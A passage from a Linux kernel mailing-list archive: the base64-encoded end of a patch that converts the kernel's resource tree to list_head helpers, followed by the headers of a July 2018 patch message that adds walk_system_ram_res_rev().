CXByaW50ayhLRVJOX0RFQlVHICJyZWxlYXNlIGNoaWxkIHJlc291cmNlICVwUlxuIiwgdG1wKTsK
QEAgLTI1OSw2ICsyNjEsOCBAQCBzdGF0aWMgdm9pZCBfX3JlbGVhc2VfY2hpbGRfcmVzb3VyY2Vz
KHN0cnVjdCByZXNvdXJjZSAqcikKIAkJdG1wLT5zdGFydCA9IDA7CiAJCXRtcC0+ZW5kID0gc2l6
ZSAtIDE7CiAJfQorCisJSU5JVF9MSVNUX0hFQUQoJnRtcC0+Y2hpbGQpOwogfQogCiB2b2lkIHJl
bGVhc2VfY2hpbGRfcmVzb3VyY2VzKHN0cnVjdCByZXNvdXJjZSAqcikKQEAgLTM0Myw3ICszNDcs
OCBAQCBzdGF0aWMgaW50IGZpbmRfbmV4dF9pb21lbV9yZXMoc3RydWN0IHJlc291cmNlICpyZXMs
IHVuc2lnbmVkIGxvbmcgZGVzYywKIAogCXJlYWRfbG9jaygmcmVzb3VyY2VfbG9jayk7CiAKLQlm
b3IgKHAgPSBpb21lbV9yZXNvdXJjZS5jaGlsZDsgcDsgcCA9IG5leHRfcmVzb3VyY2UocCwgc2li
bGluZ19vbmx5KSkgeworCWZvciAocCA9IHJlc291cmNlX2ZpcnN0X2NoaWxkKCZpb21lbV9yZXNv
dXJjZS5jaGlsZCk7IHA7CisJCQlwID0gbmV4dF9yZXNvdXJjZShwLCBzaWJsaW5nX29ubHkpKSB7
CiAJCWlmICgocC0+ZmxhZ3MgJiByZXMtPmZsYWdzKSAhPSByZXMtPmZsYWdzKQogCQkJY29udGlu
dWU7CiAJCWlmICgoZGVzYyAhPSBJT1JFU19ERVNDX05PTkUpICYmIChkZXNjICE9IHAtPmRlc2Mp
KQpAQCAtNTMyLDcgKzUzNyw3IEBAIGludCByZWdpb25faW50ZXJzZWN0cyhyZXNvdXJjZV9zaXpl
X3Qgc3RhcnQsIHNpemVfdCBzaXplLCB1bnNpZ25lZCBsb25nIGZsYWdzLAogCXN0cnVjdCByZXNv
dXJjZSAqcDsKIAogCXJlYWRfbG9jaygmcmVzb3VyY2VfbG9jayk7Ci0JZm9yIChwID0gaW9tZW1f
cmVzb3VyY2UuY2hpbGQ7IHAgOyBwID0gcC0+c2libGluZykgeworCWxpc3RfZm9yX2VhY2hfZW50
cnkocCwgJmlvbWVtX3Jlc291cmNlLmNoaWxkLCBzaWJsaW5nKSB7CiAJCWJvb2wgaXNfdHlwZSA9
ICgoKHAtPmZsYWdzICYgZmxhZ3MpID09IGZsYWdzKSAmJgogCQkJCSgoZGVzYyA9PSBJT1JFU19E
RVNDX05PTkUpIHx8CiAJCQkJIChkZXNjID09IHAtPmRlc2MpKSk7CkBAIC01ODYsNyArNTkxLDcg
QEAgc3RhdGljIGludCBfX2ZpbmRfcmVzb3VyY2Uoc3RydWN0IHJlc291cmNlICpyb290LCBzdHJ1
Y3QgcmVzb3VyY2UgKm9sZCwKIAkJCSByZXNvdXJjZV9zaXplX3QgIHNpemUsCiAJCQkgc3RydWN0
IHJlc291cmNlX2NvbnN0cmFpbnQgKmNvbnN0cmFpbnQpCiB7Ci0Jc3RydWN0IHJlc291cmNlICp0
aGlzID0gcm9vdC0+Y2hpbGQ7CisJc3RydWN0IHJlc291cmNlICp0aGlzID0gcmVzb3VyY2VfZmly
c3RfY2hpbGQoJnJvb3QtPmNoaWxkKTsKIAlzdHJ1Y3QgcmVzb3VyY2UgdG1wID0gKm5ldywgYXZh
aWwsIGFsbG9jOwogCiAJdG1wLnN0YXJ0ID0gcm9vdC0+c3RhcnQ7CkBAIC01OTYsNyArNjAxLDcg
QEAgc3RhdGljIGludCBfX2ZpbmRfcmVzb3VyY2Uoc3RydWN0IHJlc291cmNlICpyb290LCBzdHJ1
Y3QgcmVzb3VyY2UgKm9sZCwKIAkgKi8KIAlpZiAodGhpcyAmJiB0aGlzLT5zdGFydCA9PSByb290
LT5zdGFydCkgewogCQl0bXAuc3RhcnQgPSAodGhpcyA9PSBvbGQpID8gb2xkLT5zdGFydCA6IHRo
aXMtPmVuZCArIDE7Ci0JCXRoaXMgPSB0aGlzLT5zaWJsaW5nOworCQl0aGlzID0gcmVzb3VyY2Vf
c2libGluZyh0aGlzKTsKIAl9CiAJZm9yKDs7KSB7CiAJCWlmICh0aGlzKQpAQCAtNjMyLDcgKzYz
Nyw3IEBAIG5leHQ6CQlpZiAoIXRoaXMgfHwgdGhpcy0+ZW5kID09IHJvb3QtPmVuZCkKIAogCQlp
ZiAodGhpcyAhPSBvbGQpCiAJCQl0bXAuc3RhcnQgPSB0aGlzLT5lbmQgKyAxOwotCQl0aGlzID0g
dGhpcy0+c2libGluZzsKKwkJdGhpcyA9IHJlc291cmNlX3NpYmxpbmcodGhpcyk7CiAJfQogCXJl
dHVybiAtRUJVU1k7CiB9CkBAIC02NzYsNyArNjgxLDcgQEAgc3RhdGljIGludCByZWFsbG9jYXRl
X3Jlc291cmNlKHN0cnVjdCByZXNvdXJjZSAqcm9vdCwgc3RydWN0IHJlc291cmNlICpvbGQsCiAJ
CWdvdG8gb3V0OwogCX0KIAotCWlmIChvbGQtPmNoaWxkKSB7CisJaWYgKCFsaXN0X2VtcHR5KCZv
bGQtPmNoaWxkKSkgewogCQllcnIgPSAtRUJVU1k7CiAJCWdvdG8gb3V0OwogCX0KQEAgLTc1Nyw3
ICs3NjIsNyBAQCBzdHJ1Y3QgcmVzb3VyY2UgKmxvb2t1cF9yZXNvdXJjZShzdHJ1Y3QgcmVzb3Vy
Y2UgKnJvb3QsIHJlc291cmNlX3NpemVfdCBzdGFydCkKIAlzdHJ1Y3QgcmVzb3VyY2UgKnJlczsK
IAogCXJlYWRfbG9jaygmcmVzb3VyY2VfbG9jayk7Ci0JZm9yIChyZXMgPSByb290LT5jaGlsZDsg
cmVzOyByZXMgPSByZXMtPnNpYmxpbmcpIHsKKwlsaXN0X2Zvcl9lYWNoX2VudHJ5KHJlcywgJnJv
b3QtPmNoaWxkLCBzaWJsaW5nKSB7CiAJCWlmIChyZXMtPnN0YXJ0ID09IHN0YXJ0KQogCQkJYnJl
YWs7CiAJfQpAQCAtNzkwLDMyICs3OTUsMjcgQEAgc3RhdGljIHN0cnVjdCByZXNvdXJjZSAqIF9f
aW5zZXJ0X3Jlc291cmNlKHN0cnVjdCByZXNvdXJjZSAqcGFyZW50LCBzdHJ1Y3QgcmVzb3UKIAkJ
CWJyZWFrOwogCX0KIAotCWZvciAobmV4dCA9IGZpcnN0OyA7IG5leHQgPSBuZXh0LT5zaWJsaW5n
KSB7CisJZm9yIChuZXh0ID0gZmlyc3Q7IDsgbmV4dCA9IHJlc291cmNlX3NpYmxpbmcobmV4dCkp
IHsKIAkJLyogUGFydGlhbCBvdmVybGFwPyBCYWQsIGFuZCB1bmZpeGFibGUgKi8KIAkJaWYgKG5l
eHQtPnN0YXJ0IDwgbmV3LT5zdGFydCB8fCBuZXh0LT5lbmQgPiBuZXctPmVuZCkKIAkJCXJldHVy
biBuZXh0OwotCQlpZiAoIW5leHQtPnNpYmxpbmcpCisJCWlmICghcmVzb3VyY2Vfc2libGluZyhu
ZXh0KSkKIAkJCWJyZWFrOwotCQlpZiAobmV4dC0+c2libGluZy0+c3RhcnQgPiBuZXctPmVuZCkK
KwkJaWYgKHJlc291cmNlX3NpYmxpbmcobmV4dCktPnN0YXJ0ID4gbmV3LT5lbmQpCiAJCQlicmVh
azsKIAl9Ci0KIAluZXctPnBhcmVudCA9IHBhcmVudDsKLQluZXctPnNpYmxpbmcgPSBuZXh0LT5z
aWJsaW5nOwotCW5ldy0+Y2hpbGQgPSBmaXJzdDsKKwlsaXN0X2FkZCgmbmV3LT5zaWJsaW5nLCAm
bmV4dC0+c2libGluZyk7CisJSU5JVF9MSVNUX0hFQUQoJm5ldy0+Y2hpbGQpOwogCi0JbmV4dC0+
c2libGluZyA9IE5VTEw7Ci0JZm9yIChuZXh0ID0gZmlyc3Q7IG5leHQ7IG5leHQgPSBuZXh0LT5z
aWJsaW5nKQorCS8qCisJICogRnJvbSBmaXJzdCB0byBuZXh0LCB0aGV5IGFsbCBmYWxsIGludG8g
bmV3J3MgcmVnaW9uLCBzbyBjaGFuZ2UgdGhlbQorCSAqIGFzIG5ldydzIGNoaWxkcmVuLgorCSAq
LworCWxpc3RfY3V0X3Bvc2l0aW9uKCZuZXctPmNoaWxkLCBmaXJzdC0+c2libGluZy5wcmV2LCAm
bmV4dC0+c2libGluZyk7CisJbGlzdF9mb3JfZWFjaF9lbnRyeShuZXh0LCAmbmV3LT5jaGlsZCwg
c2libGluZykKIAkJbmV4dC0+cGFyZW50ID0gbmV3OwogCi0JaWYgKHBhcmVudC0+Y2hpbGQgPT0g
Zmlyc3QpIHsKLQkJcGFyZW50LT5jaGlsZCA9IG5ldzsKLQl9IGVsc2UgewotCQluZXh0ID0gcGFy
ZW50LT5jaGlsZDsKLQkJd2hpbGUgKG5leHQtPnNpYmxpbmcgIT0gZmlyc3QpCi0JCQluZXh0ID0g
bmV4dC0+c2libGluZzsKLQkJbmV4dC0+c2libGluZyA9IG5ldzsKLQl9CiAJcmV0dXJuIE5VTEw7
CiB9CiAKQEAgLTkzNywxOSArOTM3LDE3IEBAIHN0YXRpYyBpbnQgX19hZGp1c3RfcmVzb3VyY2Uo
c3RydWN0IHJlc291cmNlICpyZXMsIHJlc291cmNlX3NpemVfdCBzdGFydCwKIAlpZiAoKHN0YXJ0
IDwgcGFyZW50LT5zdGFydCkgfHwgKGVuZCA+IHBhcmVudC0+ZW5kKSkKIAkJZ290byBvdXQ7CiAK
LQlpZiAocmVzLT5zaWJsaW5nICYmIChyZXMtPnNpYmxpbmctPnN0YXJ0IDw9IGVuZCkpCisJaWYg
KHJlc291cmNlX3NpYmxpbmcocmVzKSAmJiAocmVzb3VyY2Vfc2libGluZyhyZXMpLT5zdGFydCA8
PSBlbmQpKQogCQlnb3RvIG91dDsKIAotCXRtcCA9IHBhcmVudC0+Y2hpbGQ7Ci0JaWYgKHRtcCAh
PSByZXMpIHsKLQkJd2hpbGUgKHRtcC0+c2libGluZyAhPSByZXMpCi0JCQl0bXAgPSB0bXAtPnNp
Ymxpbmc7CisJaWYgKHJlcy0+c2libGluZy5wcmV2ICE9ICZwYXJlbnQtPmNoaWxkKSB7CisJCXRt
cCA9IGxpc3RfcHJldl9lbnRyeShyZXMsIHNpYmxpbmcpOwogCQlpZiAoc3RhcnQgPD0gdG1wLT5l
bmQpCiAJCQlnb3RvIG91dDsKIAl9CiAKIHNraXA6Ci0JZm9yICh0bXAgPSByZXMtPmNoaWxkOyB0
bXA7IHRtcCA9IHRtcC0+c2libGluZykKKwlsaXN0X2Zvcl9lYWNoX2VudHJ5KHRtcCwgJnJlcy0+
Y2hpbGQsIHNpYmxpbmcpCiAJCWlmICgodG1wLT5zdGFydCA8IHN0YXJ0KSB8fCAodG1wLT5lbmQg
PiBlbmQpKQogCQkJZ290byBvdXQ7CiAKQEAgLTk5NiwyNyArOTk0LDMwIEBAIEVYUE9SVF9TWU1C
T0woYWRqdXN0X3Jlc291cmNlKTsKICAqLwogaW50IHJlcGFyZW50X3Jlc291cmNlcyhzdHJ1Y3Qg
cmVzb3VyY2UgKnBhcmVudCwgc3RydWN0IHJlc291cmNlICpyZXMpCiB7Ci0Jc3RydWN0IHJlc291
cmNlICpwLCAqKnBwOwotCXN0cnVjdCByZXNvdXJjZSAqKmZpcnN0cHAgPSBOVUxMOworCXN0cnVj
dCByZXNvdXJjZSAqcCwgKmZpcnN0ID0gTlVMTDsKIAotCWZvciAocHAgPSAmcGFyZW50LT5jaGls
ZDsgKHAgPSAqcHApICE9IE5VTEw7IHBwID0gJnAtPnNpYmxpbmcpIHsKKwlsaXN0X2Zvcl9lYWNo
X2VudHJ5KHAsICZwYXJlbnQtPmNoaWxkLCBzaWJsaW5nKSB7CiAJCWlmIChwLT5lbmQgPCByZXMt
PnN0YXJ0KQogCQkJY29udGludWU7CiAJCWlmIChyZXMtPmVuZCA8IHAtPnN0YXJ0KQogCQkJYnJl
YWs7CiAJCWlmIChwLT5zdGFydCA8IHJlcy0+c3RhcnQgfHwgcC0+ZW5kID4gcmVzLT5lbmQpCiAJ
CQlyZXR1cm4gLUVOT1RTVVBQOwkvKiBub3QgY29tcGxldGVseSBjb250YWluZWQgKi8KLQkJaWYg
KGZpcnN0cHAgPT0gTlVMTCkKLQkJCWZpcnN0cHAgPSBwcDsKKwkJaWYgKGZpcnN0ID09IE5VTEwp
CisJCQlmaXJzdCA9IHA7CiAJfQotCWlmIChmaXJzdHBwID09IE5VTEwpCisJaWYgKGZpcnN0ID09
IE5VTEwpCiAJCXJldHVybiAtRUNBTkNFTEVEOyAvKiBkaWRuJ3QgZmluZCBhbnkgY29uZmxpY3Rp
bmcgZW50cmllcz8gKi8KIAlyZXMtPnBhcmVudCA9IHBhcmVudDsKLQlyZXMtPmNoaWxkID0gKmZp
cnN0cHA7Ci0JcmVzLT5zaWJsaW5nID0gKnBwOwotCSpmaXJzdHBwID0gcmVzOwotCSpwcCA9IE5V
TEw7Ci0JZm9yIChwID0gcmVzLT5jaGlsZDsgcCAhPSBOVUxMOyBwID0gcC0+c2libGluZykgewor
CWxpc3RfYWRkKCZyZXMtPnNpYmxpbmcsIHAtPnNpYmxpbmcucHJldik7CisJSU5JVF9MSVNUX0hF
QUQoJnJlcy0+Y2hpbGQpOworCisJLyoKKwkgKiBGcm9tIGZpcnN0IHRvIHAncyBwcmV2aW91cyBz
aWJsaW5nLCB0aGV5IGFsbCBmYWxsIGludG8KKwkgKiByZXMncyByZWdpb24sIGNoYW5nZSB0aGVt
IGFzIHJlcydzIGNoaWxkcmVuLgorCSAqLworCWxpc3RfY3V0X3Bvc2l0aW9uKCZyZXMtPmNoaWxk
LCBmaXJzdC0+c2libGluZy5wcmV2LCByZXMtPnNpYmxpbmcucHJldik7CisJbGlzdF9mb3JfZWFj
aF9lbnRyeShwLCAmcmVzLT5jaGlsZCwgc2libGluZykgewogCQlwLT5wYXJlbnQgPSByZXM7CiAJ
CXByX2RlYnVnKCJQQ0k6IFJlcGFyZW50ZWQgJXMgJXBSIHVuZGVyICVzXG4iLAogCQkJIHAtPm5h
bWUsIHAsIHJlcy0+bmFtZSk7CkBAIC0xMjE2LDM0ICsxMjE3LDMyIEBAIEVYUE9SVF9TWU1CT0wo
X19yZXF1ZXN0X3JlZ2lvbik7CiB2b2lkIF9fcmVsZWFzZV9yZWdpb24oc3RydWN0IHJlc291cmNl
ICpwYXJlbnQsIHJlc291cmNlX3NpemVfdCBzdGFydCwKIAkJCXJlc291cmNlX3NpemVfdCBuKQog
ewotCXN0cnVjdCByZXNvdXJjZSAqKnA7CisJc3RydWN0IHJlc291cmNlICpyZXM7CiAJcmVzb3Vy
Y2Vfc2l6ZV90IGVuZDsKIAotCXAgPSAmcGFyZW50LT5jaGlsZDsKKwlyZXMgPSByZXNvdXJjZV9m
aXJzdF9jaGlsZCgmcGFyZW50LT5jaGlsZCk7CiAJZW5kID0gc3RhcnQgKyBuIC0gMTsKIAogCXdy
aXRlX2xvY2soJnJlc291cmNlX2xvY2spOwogCiAJZm9yICg7OykgewotCQlzdHJ1Y3QgcmVzb3Vy
Y2UgKnJlcyA9ICpwOwotCiAJCWlmICghcmVzKQogCQkJYnJlYWs7CiAJCWlmIChyZXMtPnN0YXJ0
IDw9IHN0YXJ0ICYmIHJlcy0+ZW5kID49IGVuZCkgewogCQkJaWYgKCEocmVzLT5mbGFncyAmIElP
UkVTT1VSQ0VfQlVTWSkpIHsKLQkJCQlwID0gJnJlcy0+Y2hpbGQ7CisJCQkJcmVzID0gcmVzb3Vy
Y2VfZmlyc3RfY2hpbGQoJnJlcy0+Y2hpbGQpOwogCQkJCWNvbnRpbnVlOwogCQkJfQogCQkJaWYg
KHJlcy0+c3RhcnQgIT0gc3RhcnQgfHwgcmVzLT5lbmQgIT0gZW5kKQogCQkJCWJyZWFrOwotCQkJ
KnAgPSByZXMtPnNpYmxpbmc7CisJCQlsaXN0X2RlbCgmcmVzLT5zaWJsaW5nKTsKIAkJCXdyaXRl
X3VubG9jaygmcmVzb3VyY2VfbG9jayk7CiAJCQlpZiAocmVzLT5mbGFncyAmIElPUkVTT1VSQ0Vf
TVVYRUQpCiAJCQkJd2FrZV91cCgmbXV4ZWRfcmVzb3VyY2Vfd2FpdCk7CiAJCQlmcmVlX3Jlc291
cmNlKHJlcyk7CiAJCQlyZXR1cm47CiAJCX0KLQkJcCA9ICZyZXMtPnNpYmxpbmc7CisJCXJlcyA9
IHJlc291cmNlX3NpYmxpbmcocmVzKTsKIAl9CiAKIAl3cml0ZV91bmxvY2soJnJlc291cmNlX2xv
Y2spOwpAQCAtMTI3OCw5ICsxMjc3LDcgQEAgRVhQT1JUX1NZTUJPTChfX3JlbGVhc2VfcmVnaW9u
KTsKIGludCByZWxlYXNlX21lbV9yZWdpb25fYWRqdXN0YWJsZShzdHJ1Y3QgcmVzb3VyY2UgKnBh
cmVudCwKIAkJCXJlc291cmNlX3NpemVfdCBzdGFydCwgcmVzb3VyY2Vfc2l6ZV90IHNpemUpCiB7
Ci0Jc3RydWN0IHJlc291cmNlICoqcDsKLQlzdHJ1Y3QgcmVzb3VyY2UgKnJlczsKLQlzdHJ1Y3Qg
cmVzb3VyY2UgKm5ld19yZXM7CisJc3RydWN0IHJlc291cmNlICpyZXMsICpuZXdfcmVzOwogCXJl
c291cmNlX3NpemVfdCBlbmQ7CiAJaW50IHJldCA9IC1FSU5WQUw7CiAKQEAgLTEyOTEsMTYgKzEy
ODgsMTYgQEAgaW50IHJlbGVhc2VfbWVtX3JlZ2lvbl9hZGp1c3RhYmxlKHN0cnVjdCByZXNvdXJj
ZSAqcGFyZW50LAogCS8qIFRoZSBhbGxvY19yZXNvdXJjZSgpIHJlc3VsdCBnZXRzIGNoZWNrZWQg
bGF0ZXIgKi8KIAluZXdfcmVzID0gYWxsb2NfcmVzb3VyY2UoR0ZQX0tFUk5FTCk7CiAKLQlwID0g
JnBhcmVudC0+Y2hpbGQ7CisJcmVzID0gcmVzb3VyY2VfZmlyc3RfY2hpbGQoJnBhcmVudC0+Y2hp
bGQpOwogCXdyaXRlX2xvY2soJnJlc291cmNlX2xvY2spOwogCi0Jd2hpbGUgKChyZXMgPSAqcCkp
IHsKKwl3aGlsZSAoKHJlcykpIHsKIAkJaWYgKHJlcy0+c3RhcnQgPj0gZW5kKQogCQkJYnJlYWs7
CiAKIAkJLyogbG9vayBmb3IgdGhlIG5leHQgcmVzb3VyY2UgaWYgaXQgZG9lcyBub3QgZml0IGlu
dG8gKi8KIAkJaWYgKHJlcy0+c3RhcnQgPiBzdGFydCB8fCByZXMtPmVuZCA8IGVuZCkgewotCQkJ
cCA9ICZyZXMtPnNpYmxpbmc7CisJCQlyZXMgPSByZXNvdXJjZV9zaWJsaW5nKHJlcyk7CiAJCQlj
b250aW51ZTsKIAkJfQogCkBAIC0xMzA4LDE0ICsxMzA1LDE0IEBAIGludCByZWxlYXNlX21lbV9y
ZWdpb25fYWRqdXN0YWJsZShzdHJ1Y3QgcmVzb3VyY2UgKnBhcmVudCwKIAkJCWJyZWFrOwogCiAJ
CWlmICghKHJlcy0+ZmxhZ3MgJiBJT1JFU09VUkNFX0JVU1kpKSB7Ci0JCQlwID0gJnJlcy0+Y2hp
bGQ7CisJCQlyZXMgPSByZXNvdXJjZV9maXJzdF9jaGlsZCgmcmVzLT5jaGlsZCk7CiAJCQljb250
aW51ZTsKIAkJfQogCiAJCS8qIGZvdW5kIHRoZSB0YXJnZXQgcmVzb3VyY2U7IGxldCdzIGFkanVz
dCBhY2NvcmRpbmdseSAqLwogCQlpZiAocmVzLT5zdGFydCA9PSBzdGFydCAmJiByZXMtPmVuZCA9
PSBlbmQpIHsKIAkJCS8qIGZyZWUgdGhlIHdob2xlIGVudHJ5ICovCi0JCQkqcCA9IHJlcy0+c2li
bGluZzsKKwkJCWxpc3RfZGVsKCZyZXMtPnNpYmxpbmcpOwogCQkJZnJlZV9yZXNvdXJjZShyZXMp
OwogCQkJcmV0ID0gMDsKIAkJfSBlbHNlIGlmIChyZXMtPnN0YXJ0ID09IHN0YXJ0ICYmIHJlcy0+
ZW5kICE9IGVuZCkgewpAQCAtMTMzOCwxNCArMTMzNSwxMyBAQCBpbnQgcmVsZWFzZV9tZW1fcmVn
aW9uX2FkanVzdGFibGUoc3RydWN0IHJlc291cmNlICpwYXJlbnQsCiAJCQluZXdfcmVzLT5mbGFn
cyA9IHJlcy0+ZmxhZ3M7CiAJCQluZXdfcmVzLT5kZXNjID0gcmVzLT5kZXNjOwogCQkJbmV3X3Jl
cy0+cGFyZW50ID0gcmVzLT5wYXJlbnQ7Ci0JCQluZXdfcmVzLT5zaWJsaW5nID0gcmVzLT5zaWJs
aW5nOwotCQkJbmV3X3Jlcy0+Y2hpbGQgPSBOVUxMOworCQkJSU5JVF9MSVNUX0hFQUQoJm5ld19y
ZXMtPmNoaWxkKTsKIAogCQkJcmV0ID0gX19hZGp1c3RfcmVzb3VyY2UocmVzLCByZXMtPnN0YXJ0
LAogCQkJCQkJc3RhcnQgLSByZXMtPnN0YXJ0KTsKIAkJCWlmIChyZXQpCiAJCQkJYnJlYWs7Ci0J
CQlyZXMtPnNpYmxpbmcgPSBuZXdfcmVzOworCQkJbGlzdF9hZGQoJm5ld19yZXMtPnNpYmxpbmcs
ICZyZXMtPnNpYmxpbmcpOwogCQkJbmV3X3JlcyA9IE5VTEw7CiAJCX0KIApAQCAtMTUyNiw3ICsx
NTIyLDcgQEAgc3RhdGljIGludCBfX2luaXQgcmVzZXJ2ZV9zZXR1cChjaGFyICpzdHIpCiAJCQly
ZXMtPmVuZCA9IGlvX3N0YXJ0ICsgaW9fbnVtIC0gMTsKIAkJCXJlcy0+ZmxhZ3MgfD0gSU9SRVNP
VVJDRV9CVVNZOwogCQkJcmVzLT5kZXNjID0gSU9SRVNfREVTQ19OT05FOwotCQkJcmVzLT5jaGls
ZCA9IE5VTEw7CisJCQlJTklUX0xJU1RfSEVBRCgmcmVzLT5jaGlsZCk7CiAJCQlpZiAocmVxdWVz
dF9yZXNvdXJjZShwYXJlbnQsIHJlcykgPT0gMCkKIAkJCQlyZXNlcnZlZCA9IHgrMTsKIAkJfQpA
QCAtMTU0Niw3ICsxNTQyLDcgQEAgaW50IGlvbWVtX21hcF9zYW5pdHlfY2hlY2socmVzb3VyY2Vf
c2l6ZV90IGFkZHIsIHVuc2lnbmVkIGxvbmcgc2l6ZSkKIAlsb2ZmX3QgbDsKIAogCXJlYWRfbG9j
aygmcmVzb3VyY2VfbG9jayk7Ci0JZm9yIChwID0gcC0+Y2hpbGQ7IHAgOyBwID0gcl9uZXh0KE5V
TEwsIHAsICZsKSkgeworCWZvciAocCA9IHJlc291cmNlX2ZpcnN0X2NoaWxkKCZwLT5jaGlsZCk7
IHA7IHAgPSByX25leHQoTlVMTCwgcCwgJmwpKSB7CiAJCS8qCiAJCSAqIFdlIGNhbiBwcm9iYWJs
eSBza2lwIHRoZSByZXNvdXJjZXMgd2l0aG91dAogCQkgKiBJT1JFU09VUkNFX0lPIGF0dHJpYnV0
ZT8KQEAgLTE2MDIsNyArMTU5OCw3IEBAIGJvb2wgaW9tZW1faXNfZXhjbHVzaXZlKHU2NCBhZGRy
KQogCWFkZHIgPSBhZGRyICYgUEFHRV9NQVNLOwogCiAJcmVhZF9sb2NrKCZyZXNvdXJjZV9sb2Nr
KTsKLQlmb3IgKHAgPSBwLT5jaGlsZDsgcCA7IHAgPSByX25leHQoTlVMTCwgcCwgJmwpKSB7CisJ
Zm9yIChwID0gcmVzb3VyY2VfZmlyc3RfY2hpbGQoJnAtPmNoaWxkKTsgcDsgcCA9IHJfbmV4dChO
VUxMLCBwLCAmbCkpIHsKIAkJLyoKIAkJICogV2UgY2FuIHByb2JhYmx5IHNraXAgdGhlIHJlc291
cmNlcyB3aXRob3V0CiAJCSAqIElPUkVTT1VSQ0VfSU8gYXR0cmlidXRlPwotLSAKMi4xMy42Cgpf
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXwpMaW51eC1udmRp
bW0gbWFpbGluZyBsaXN0CkxpbnV4LW52ZGltbUBsaXN0cy4wMS5vcmcKaHR0cHM6Ly9saXN0cy4w
MS5vcmcvbWFpbG1hbi9saXN0aW5mby9saW51eC1udmRpbW0K


From - Thu Nov 08 21:41:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCH v7 3/4] resource: add walk_system_ram_res_rev()
Date: Wed, 18 Jul 2018 10:49:43 +0800
Lines: 54
Approved: news@gmane.org
Message-ID: <20180718024944.577-4-bhe@redhat.com>
References: <20180718024944.577-1-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1531882256 26045 195.159.176.226 (18 Jul 2018 02:50:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 18 Jul 2018 02:50:56 +0000 (UTC)
Cc: brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, airlied-cv59FeDIM0c@public.gmane.org,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org, sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
 linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org, patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org, dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
 thomas.lendacky-5C7GfCeVMHo@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org,
 bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
 jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org,
 linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org, devel-tBiZLqfeLfOHmIFyCCdPziST3g8Odh+X@public.gmane.org,
 linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, davem-fT/PcQaiUtIeIZ0/mPfg9Q@public.gmane.org
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, dan.j.williams-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org,
 josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, bp-l3A5Bk7waGM@public.gmane.org,
 andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Wed Jul 18 04:50:48 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1ffcYC-0006bB-B1
	for gln-linux-nvdimm@m.gmane.org; Wed, 18 Jul 2018 04:50:48 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 1DE352098877F;
	Tue, 17 Jul 2018 19:52:59 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
